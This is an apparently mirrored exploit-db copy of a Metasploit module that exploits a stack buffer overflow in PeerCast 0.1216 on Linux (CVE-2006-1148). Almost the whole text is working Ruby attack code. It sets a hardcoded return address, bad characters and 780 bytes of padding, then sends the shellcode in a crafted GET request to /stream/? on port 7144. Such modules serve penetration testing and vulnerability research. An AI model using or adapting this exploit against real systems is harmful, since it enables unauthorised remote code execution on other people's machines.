PeerCast 0.1216 (Linux) – URL Handling Buffer Overflow (Metasploit) - 体验盒子

作者： Metasploit

日期： 2010-09-20

类别：

remote

平台：

linux

来源：https://www.exploit-db.com/exploits/16855/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

##

# $Id: peercast_url.rb 10394 2010-09-20 08:06:27Z jduck $

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = AverageRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})

super(update_info(info,

'Name' => 'PeerCast <= 0.1216 URL Handling Buffer Overflow (linux)',

'Description'=> %q{

This module exploits a stack buffer overflow in PeerCast <= v0.1216.

The vulnerability is caused due to a boundary error within the

handling of URL parameters.

},

'Author' => [ 'MC' ],

'License'=> BSD_LICENSE,

'Version'=> '$Revision: 10394 $',

'References' =>

[

['CVE', '2006-1148'],

['OSVDB', '23777'],

['BID', '17040'],

['URL', 'http://www.infigo.hr/in_focus/INFIGO-2006-03-01'],

],

'Privileged' => false,

'Payload'=>

{

'Space'=> 200,

'BadChars' => "\x00\x0a\x0d\x20\x0d\x2f\x3d\x3b",

'MinNops'=> 64,

},

'Platform' => 'linux',

'Arch' => ARCH_X86,

'Targets'=>

[

['PeerCast v0.1212 Binary', { 'Ret' => 0x080922f7 }],

],

'DisclosureDate' => 'Mar 8 2006'))

register_options([

Opt::RPORT(7144)

], self.class)

end

def exploit

connect

pat = rand_text_alphanumeric(780)

pat << [target.ret].pack('V')

pat << payload.encoded

uri = '/stream/?' + pat

res = "GET #{uri} HTTP/1.0\r\n\r\n"

print_status("Trying target address 0x%.8x..." % target.ret)

sock.put(res)

handler

disconnect

end